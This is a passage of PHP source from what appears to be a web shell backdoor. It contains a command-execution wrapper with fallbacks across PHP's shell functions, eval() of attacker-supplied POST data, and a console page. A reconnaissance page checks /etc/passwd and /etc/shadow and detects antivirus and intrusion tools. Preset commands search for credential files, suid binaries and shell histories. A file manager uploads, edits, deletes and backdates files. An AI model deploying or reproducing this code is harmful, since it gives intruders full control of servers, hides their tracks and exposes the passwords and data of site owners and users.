name=ne value=''>\r\n\t\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n\t\t<span>Upload file:</span>{$is_writable}<br><input class='toolsInp' type=file name=f[]  multiple><input type=submit value='submit'></form><br  ></td>\r\n\t</tr></table></div>\r\n\t<!-- particles --> <div id='particles-js'></div><script src='https://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js'></script>\r\n\t<script>particlesJS('particles-js', {'particles':{'number':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#ffffff','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script>\r\n\t</body></html>";
        }
        if (!function_exists("posix_getpwuid") && strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false) {
            function posix_getpwuid($p)
            {
                return false;
            }
        }
        if (!function_exists("posix_getgrgid") && strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false) {
            function posix_getgrgid($p)
            {
                return false;
            }
        }
        function ex($in)
        {
            $▖ = '';
            if (function_exists('exec')) {
                @exec($in, $▖);
                $▖ = @join("\n", $▖);
            } elseif (function_exists('passthru')) {
                ob_start();
                @passthru($in);
                $▖ = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                @system($in);
                $▖ = ob_get_clean();
            } elseif (function_exists('shell_exec')) {
                $▖ = shell_exec($in);
            } elseif (is_resource($f = @popen($in, "r"))) {
                $▖ = "";
                while (!@feof($f)) {
                    $▖ .= fread($f, 1024);
                }
                pclose($f);
            } else {
                return "\xe2\x86\xb3 Unable to execute command\n";
            }
            return $▖ == '' ? "\xe2\x86\xb3 Query did not return anything\n" : $▖;
        }
        function viewSize($s)
        {
            if ($s >= 1073741824) {
                return sprintf('%1.2f', $s / 1073741824) . ' GB';
            } elseif ($s >= 1048576) {
                return sprintf('%1.2f', $s / 1048576) . ' MB';
            } elseif ($s >= 1024) {
                return sprintf('%1.2f', $s / 1024) . ' KB';
            } else {
                return $s . ' B';
            }
        }
        function perms($p)
        {
            if (($p & 0xc000) == 0xc000) {
                $i = 's';
            } elseif (($p & 0xa000) == 0xa000) {
                $i = 'l';
            } elseif (($p & 0x8000) == 0x8000) {
                $i = '-';
            } elseif (($p & 0x6000) == 0x6000) {
                $i = 'b';
            } elseif (($p & 0x4000) == 0x4000) {
                $i = 'd';
            } elseif (($p & 0x2000) == 0x2000) {
                $i = 'c';
            } elseif (($p & 0x1000) == 0x1000) {
                $i = 'p';
            } else {
                $i = 'u';
            }
            $i .= $p & 0x100 ? 'r' : '-';
            $i .= $p & 0x80 ? 'w' : '-';
            $i .= $p & 0x40 ? $p & 0x800 ? 's' : 'x' : ($p & 0x800 ? 'S' : '-');
            $i .= $p & 0x20 ? 'r' : '-';
            $i .= $p & 0x10 ? 'w' : '-';
            $i .= $p & 0x8 ? $p & 0x400 ? 's' : 'x' : ($p & 0x400 ? 'S' : '-');
            $i .= $p & 0x4 ? 'r' : '-';
            $i .= $p & 0x2 ? 'w' : '-';
            $i .= $p & 0x1 ? $p & 0x200 ? 't' : 'x' : ($p & 0x200 ? 'T' : '-');
            return $i;
        }
        function viewPermsColor($f)
        {
            if (!@is_readable($f)) {
                return '<font color=#FF0000><b>' . perms(@fileperms($f)) . '</b></font>';
            } elseif (!@is_writable($f)) {
                return '<font color=white><b>' . perms(@fileperms($f)) . '</b></font>';
            } else {
                return '<font color=#FFDB5F><b>' . perms(@fileperms($f)) . '</b></font>';
            }
        }
        function hardScandir($dir)
        {
            if (function_exists("scandir")) {
                return scandir($dir);
            } else {
                $dh = opendir($dir);
                while (false !== ($filename = readdir($dh))) {
                    $files[] = $filename;
                }
                return $files;
            }
        }
        function which($p)
        {
            $path = ex('which ' . $p);
            if (!empty($path)) {
                return $path;
            }
            return false;
        }
        function actionRC()
        {
            if (!@$_POST['p1']) {
                $a = array("uname" => php_uname(), "php_version" => phpversion(), "VERSION" => VERSION, "safemode" => @ini_get('safe_mode'));
                echo serialize($a);
            } else {
                eval($_POST['p1']);
            }
        }
        //function prototype($k, $v) { $_COOKIE[$k] = $v;setcookie($k, $v);}
        function actionSecInfo()
        {
            hardHeader();
            echo "<h1>Server security information</h1><div class=content>";
            function showSecParam($n, $v)
            {
                $v = trim($v);
                if ($v) {
                    echo '<span>' . $n . ': </span>';
                    if (strpos($v, "\n") === false) {
                        echo $v . '<br>';
                    } else {
                        echo '<pre class=ml1>' . $v . '</pre>';
                    }
                }
            }
            showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
            if (function_exists('apache_get_modules')) {
                showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
            }
            showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
            showSecParam('Open base dir', @ini_get('open_basedir'));
            showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
            showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
            showSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
            $temp = array();
            if (function_exists('mysql_get_client_info')) {
                $temp[] = "MySql (" . mysql_get_client_info() . ")";
            }
            if (function_exists('mssql_connect')) {
                $temp[] = "MSSQL";
            }
            if (function_exists('pg_connect')) {
                $temp[] = "PostgreSQL";
            }
            if (function_exists('oci_connect')) {
                $temp[] = "Oracle";
            }
            showSecParam('Supported databases', implode(', ', $temp));
            echo "<br>";
            if ($GLOBALS['os'] == 'nix') {
                showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
                showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
                showSecParam('OS version', @file_get_contents('/proc/version'));
                showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
                if (!$GLOBALS['safe_mode']) {
                    $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
                    $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
                    $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
                    echo "<br>";
                    $temp = array();
                    foreach ($userful as $▟) {
                        if (which($▟)) {
                            $temp[] = $▟;
                        }
                    }
                    showSecParam('Userful', implode(', ', $temp));
                    $temp = array();
                    foreach ($danger as $▟) {
                        if (which($▟)) {
                            $temp[] = $▟;
                        }
                    }
                    showSecParam('Danger', implode(', ', $temp));
                    $temp = array();
                    foreach ($downloaders as $▟) {
                        if (which($▟)) {
                            $temp[] = $▟;
                        }
                    }
                    showSecParam('Downloaders', implode(', ', $temp));
                    echo "<br/>";
                    showSecParam('HDD space', ex('df -h'));
                    showSecParam('Hosts', @file_get_contents('/etc/hosts'));
                    showSecParam('Mount options', @file_get_contents('/etc/fstab'));
                }
            } else {
                showSecParam('OS Version', ex('ver'));
                showSecParam('Account Settings', iconv('CP866', 'UTF-8', ex('net accounts')));
                showSecParam('User Accounts', iconv('CP866', 'UTF-8', ex('net user')));
            }
            echo "</div>";
            hardFooter();
        }
        function actionFilesTools()
        {
            if (isset($_POST['p1'])) {
                $_POST['p1'] = urldecode($_POST['p1']);
            }
            if (@$_POST['p2'] == 'download') {
                if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
                    ob_start("ob_gzhandler", 4096);
                    header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
                    if (function_exists("mime_content_type")) {
                        $type = @mime_content_type($_POST['p1']);
                        header("Content-Type: " . $type);
                    } else {
                        header("Content-Type: application/octet-stream");
                    }
                    $fp = @fopen($_POST['p1'], "r");
                    if ($fp) {
                        while (!@feof($fp)) {
                            echo @fread($fp, 1024);
                        }
                        fclose($fp);
                    }
                }
                exit;
            }
            if (@$_POST['p2'] == 'mkfile') {
                if (!file_exists($_POST['p1'])) {
                    $fp = @fopen($_POST['p1'], 'w');
                    if ($fp) {
                        $_POST['p2'] = "edit";
                        fclose($fp);
                    }
                }
            }
            hardHeader();
            echo "<h1>File tools</h1><div class=content>";
            if (!file_exists(@$_POST['p1'])) {
                echo "File not exists";
                hardFooter();
                return;
            }
            $uid = @posix_getpwuid(@fileowner($_POST['p1']));
            if (!$uid) {
                $uid['name'] = @fileowner($_POST['p1']);
                $gid['name'] = @filegroup($_POST['p1']);
            } else {
                $gid = @posix_getgrgid(@filegroup($_POST['p1']));
            }
            echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? viewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . viewPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
            echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
            if (empty($_POST['p2'])) {
                $_POST['p2'] = 'view';
            }
            if (is_file($_POST['p1'])) {
                $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
            } else {
                $m = array('Chmod', 'Rename', 'Touch');
            }
            foreach ($m as $v) {
                echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . (strtolower($v) == @$_POST['p2'] ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
            }
            echo "<br><br>";
            switch ($_POST['p2']) {
                case 'view':
                    echo "<pre class=ml1>";
                    $fp = @fopen($_POST['p1'], 'r');
                    if ($fp) {
                        while (!@feof($fp)) {
                            echo htmlspecialchars(@fread($fp, 1024));
                        }
                        @fclose($fp);
                    }
                    echo "</pre>";
                    break;
                case 'highlight':
                    if (@is_readable($_POST['p1'])) {
                        echo "<div class=ml1 style=\"background-color: #e1e1e1;color:black;\">";
                        $oRb = @highlight_file($_POST['p1'], true);
                        echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $oRb) . '</div>';
                    }
                    break;
                case 'chmod':
                    if (!empty($_POST['p3'])) {
                        $perms = 0;
                        for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) {
                            $perms += (int) $_POST['p3'][$i] * pow(8, strlen($_POST['p3']) - $i - 1);
                        }
                        if (!@chmod($_POST['p1'], $perms)) {
                            echo "Can't set permissions!<br><script>document.mf.p3.value=\"\";</script>";
                        }
                    }
                    clearstatcache();
                    echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value="submit"></form>';
                    break;
                case 'edit':
                    if (!is_writable($_POST['p1'])) {
                        echo "File isn't writeable";
                        break;
                    }
                    if (!empty($_POST['p3'])) {
                        $time = @filemtime($_POST['p1']);
                        $_POST['p3'] = substr($_POST['p3'], 1);
                        $fp = @fopen($_POST['p1'], "w");
                        if ($fp) {
                            @fwrite($fp, $_POST['p3']);
                            @fclose($fp);
                            echo "Saved!<br><script>p3_=\"\";</script>";
                            @touch($_POST['p1'], $time, $time);
                        }
                    }
                    echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
                    $fp = @fopen($_POST['p1'], 'r');
                    if ($fp) {
                        while (!@feof($fp)) {
                            echo htmlspecialchars(@fread($fp, 1024));
                        }
                        @fclose($fp);
                    }
                    echo "</textarea><input type=submit value=\"submit\"></form>";
                    break;
                case 'hexdump':
                    $c = @file_get_contents($_POST['p1']);
                    $n = 0;
                    $h = array('00000000<br>', '', '');
                    $len = strlen($c);
                    for ($i = 0; $i < $len; ++$i) {
                        $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
                        switch (ord($c[$i])) {
                            case 0:
                                $h[2] .= ' ';
                                break;
                            case 9:
                                $h[2] .= ' ';
                                break;
                            case 10:
                                $h[2] .= ' ';
                                break;
                            case 13:
                                $h[2] .= ' ';
                                break;
                            default:
                                $h[2] .= $c[$i];
                                break;
                        }
                        $n++;
                        if ($n == 32) {
                            $n = 0;
                            if ($i + 1 < $len) {
                                $h[0] .= sprintf('%08X', $i + 1) . '<br>';
                            }
                            $h[1] .= '<br>';
                            $h[2] .= "\n";
                        }
                    }
                    echo '<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#060a10><pre>' . $h[1] . '</pre></td><td bgcolor=#202832><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
                    break;
                case 'rename':
                    if (!empty($_POST['p3'])) {
                        if (!@rename($_POST['p1'], $_POST['p3'])) {
                            echo "Can't rename!<br>";
                        } else {
                            die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
                        }
                    }
                    echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value="submit"></form>';
                    break;
                case 'touch':
                    if (!empty($_POST['p3'])) {
                        $time = strtotime($_POST['p3']);
                        if ($time) {
                            if (!touch($_POST['p1'], $time, $time)) {
                                echo "Fail!";
                            } else {
                                echo "Touched!";
                            }
                        } else {
                            echo "Bad time format!";
                        }
                    }
                    clearstatcache();
                    echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value="submit"></form>';
                    break;
                /* (С) 12.2015 mitryz */
                case 'frame':
                    $frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
                    if ($frameSrc[0] != '/') {
                        $frameSrc = '/' . $frameSrc;
                    }
                    if ($frameSrc[strlen($frameSrc) - 1] != '/') {
                        $frameSrc .= '/';
                    }
                    $frameSrc .= htmlspecialchars($_POST['p1']);
                    echo '<iframe width="100%" height="900px" scrolling="no" src=' . $frameSrc . ' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
                    break;
            }
            echo "</div>";
            hardFooter();
        }
        if ($os == 'win') {
            $aliases = array("List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all");
        } else {
            $aliases = array("List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
        }
        function actionConsole()
        {
            if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
                $_POST['p1'] .= ' 2>&1';
            } elseif (!empty($_POST['p1'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
            }
            if (isset($_POST['ajax'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
                ob_start();
                echo "d.cf.cmd.value='';\n";
                $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n\$ " . $_POST['p1'] . "\n" . ex($_POST['p1']), "\n\r\t\\'\x00"));
                if (preg_match("!.*cd\\s+([^;]+)\$!", $_POST['p1'], $match)) {
                    if (@chdir($match[1])) {
                        $GLOBALS['cwd'] = @getcwd();
                        echo "c_='" . $GLOBALS['cwd'] . "';";
                    }
                }
                echo "d.cf.output.value+='" . $temp . "';";
                echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
                $temp = ob_get_clean();
                echo strlen($temp), "\n", $temp;
                exit;
            }
            if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
            }
            hardHeader();
            echo "<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array('');\r\nvar cur = 0;\r\nfunction kp(e) {\r\n\tvar n = (window.Event) ? e.which : e.keyCode;\r\n\tif(n == 38) {\r\n\t\tcur--;\r\n\t\tif(cur>=0)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur++;\r\n\t} else if(n == 40) {\r\n\t\tcur++;\r\n\t\tif(cur < cmds.length)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur--;\r\n\t}\r\n}\r\nfunction add(cmd) {\r\n\tcmds.pop();\r\n\tcmds.push(cmd);\r\n\tcmds.push('');\r\n\tcur = cmds.length-1;\r\n}\r\n</script>";
            echo "<h1>Console</h1><div class=content><form name=cf onsubmit=\"if(d.cf.cmd.value=='clear'){d.cf.output.value='';d.cf.cmd.value='';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:'');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:'');} return false;\"><label><select name=alias>";
            foreach ($GLOBALS['aliases'] as $n => $v) {
                if ($v == '') {
                    echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
                    continue;
                }
                echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
            }
            echo '</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>';
            if (!empty($_POST['p1'])) {
                echo htmlspecialchars("\$ " . $_POST['p1'] . "\n" . ex($_POST['p1']));
            }
            echo "</textarea><table style=\"border:1px solid #060a10;background-color:#060a10;border-top:0px;\" cellpadding=0 cellspacing=0 width=\"100%\"><tr><td style=\"padding-left:4px; width:13px;\">\$</td><td><input type=text name=cmd style=\"border:0px;width:100%;\" onkeydown=\"kp(event);\"></td></tr></table>";
            echo "</form></div><script>d.cf.cmd.focus();</script>";
            hardFooter();
        }
        function actionPhp()
        {
            if (isset($_POST['ajax'])) {
                $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
                ob_start();
                eval($_POST['p1']);
                $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\x00") . "';\n";
                echo strlen($temp), "\n", $temp;
                exit;
            }
            hardHeader();
            if (isset($_POST['p2']) && $_POST['p2'] == 'info') {
                echo "<h1>PHP info</h1><div class=content>";
                ob_start();
                phpinfo();
                $tmp = ob_get_clean();
                $tmp = preg_replace('!body {.*}!msiU', '', $tmp);
                $tmp = preg_replace('!a:\\w+ {.*}!msiU', '', $tmp);
                $tmp = preg_replace('!h1!msiU', 'h2', $tmp);
                $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
                $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU', '', $tmp);
                echo $tmp;
                echo "</div><br>";
            }
            if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
                $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
            }
            echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
            echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
            if (!empty($_POST['p1'])) {
                ob_start();
                eval($_POST['p1']);
                echo htmlspecialchars(ob_get_clean());
            }
            echo "</pre></div>";
            hardFooter();
        }
        function actionFilesMan()
        {
            if (!empty($_COOKIE['f'])) {
                $_COOKIE['f'] = @unserialize($_COOKIE['f']);
            }
            if (!empty($_POST['p1'])) {
                switch ($_POST['p1']) {
                    case 'uploadFile':
                        if (is_array($_FILES['f']['tmp_name'])) {
                            foreach ($_FILES['f']['tmp_name'] as $i => $tmpName) {
                                if (!@move_uploaded_file($tmpName, $_FILES['f']['name'][$i])) {
                                    echo "Can't upload file!";
                                }
                            }
                        }
                        break;
                    case 'mkdir':
                        if (!@mkdir($_POST['p2'])) {
                            echo "Can't create new dir";
                        }
                        break;
                    case 'delete':
                        function deleteDir($path)
                        {
                            $path = substr($path, -1) == '/' ? $path : $path . '/';
                            $dh = opendir($path);
                            while (($▟ = readdir($dh)) !== false) {
                                $▟ = $path . $▟;
                                if (basename($▟) == ".." || basename($▟) == ".") {
                                    continue;
                                }
                                $type = filetype($▟);
                                if ($type == "dir") {
                                    deleteDir($▟);
                                } else {
                                    @unlink($▟);
                                }
                            }
                            closedir($dh);
                            @rmdir($path);
                        }
                        if (is_array(@$_POST['f'])) {
                            foreach ($_POST['f'] as $f) {
                                if ($f == '..') {
                                    continue;
                                }
                                $f = urldecode($f);
                                if (is_dir($f)) {
                                    deleteDir($f);
                                } else {
                                    @unlink($f);
                                }
                            }
                        }
                        break;
                    case 'paste':
                        if ($_COOKIE['act'] == 'copy') {
                            function copy_paste($c, $s, $d)
                            {
                                if (is_dir($c . $s)) {
                                    mkdir($d . $s);
                                    $h = @opendir($c . $s);
                                    while (($f = @readdir($h)) !== false) {
                                        if ($f != "." and $f != "..") {
                                            copy_paste($c . $s . '/', $f, $d . $s . '/');
                                        }
                                    }
                                } elseif (is_file($c . $s)) {
                                    @copy($c . $s, $d . $s);
                                }
                            }
                            foreach ($_COOKIE['f'] as $f) {
                                copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
                            }
                        } elseif ($_COOKIE['act'] == 'move') {
                            function move_paste($c, $s, $d)
                            {
                                if (is_dir($c . $s)) {
                                    mkdir($d . $s);
                                    $h = @opendir($c . $s);
                                    while (($f = @readdir($h)) !== false) {
                                        if ($f != "." and $f != "..") {
                                            copy_paste($c . $s . '/', $f, $d . $s . '/');
                                        }
                                    }
                                } elseif (@is_file($c . $s)) {
                                    @copy($c . $s, $d . $s);
                                }
                            }
                            foreach ($_COOKIE['f'] as $f) {
                                @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
                            }
                        } elseif ($_COOKIE['act'] == 'zip') {
                            if (class_exists('ZipArchive')) {
                                $zip = new ZipArchive();
                                if ($zip->open($_POST['p2'], 1)) {
                                    chdir($_COOKIE['c']);
                                    foreach ($_COOKIE['f'] as $f) {
                                        if ($f == '..') {
                                            continue;
                                        }
                                        if (@is_file($_COOKIE['c'] . $f)) {
                                            $zip->addFile($_COOKIE['c'] . $f, $f);
                                        } elseif (@is_dir($_COOKIE['c'] . $f)) {
                                            $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
                                            foreach ($iterator as $key => $value) {
                                                $zip->addFile(realpath($key), $key);
                                            }
                                        }
                                    }
                                    chdir($GLOBALS['cwd']);
                                    $zip->close();
                                }
                            }
                        } elseif ($_COOKIE['act'] == 'unzip') {
                            if (class_exists('ZipArchive')) {
                                $zip = new ZipArchive();
                                foreach ($_COOKIE['f'] as $f) {
                                    if ($zip->open($_COOKIE['c'] . $f)) {
                                        $zip->extractTo($GLOBALS['cwd']);
                                        $zip->close();
                                    }
                                }
                            }
                        } elseif ($_COOKIE['act'] == 'tar') {
                            chdir($_COOKIE['c']);
                            $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                            ex('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                            chdir($GLOBALS['cwd']);
                        }
                        unset($_COOKIE['f']);
                        setcookie('f', '', time() - 3600);
                        break;
                    default:
                        if (!empty($_POST['p1'])) {
                            prototype('act', $_POST['p1']);
                            prototype('f', serialize(@$_POST['f']));
                            prototype('c', @$_POST['c']);
                        }
                        break;
                }
            }
            hardHeader();
            echo "<h1>File manager</h1><div class=content><script>p1_=p2_=p3_=\"\";</script>";
            $dirContent = hardScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
            if ($dirContent === false) {
                echo "Can't open this folder!";
                hardFooter();
                return;
            }
            global $sort;
            $sort = array('name', 1);
            if (!empty($_POST['p1'])) {
                if (preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['p1'], $match)) {
                    $sort = array($match[1], (int) $match[2]);
                }
            }
            echo "<script>\r\n\tfunction sa() {\r\n\t\tfor(i=0;i<d.files.elements.length;i++)\r\n\t\t\tif(d.files.elements[i].type == 'checkbox')\r\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\r\n\t}\r\n</script>\r\n<table width='100%' class='main' cellspacing='0' cellpadding='2'>\r\n<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
            $dirs = $files = array();
            $n = count($dirContent);
            for ($i = 0; $i < $n; $i++) {
                $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
                $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
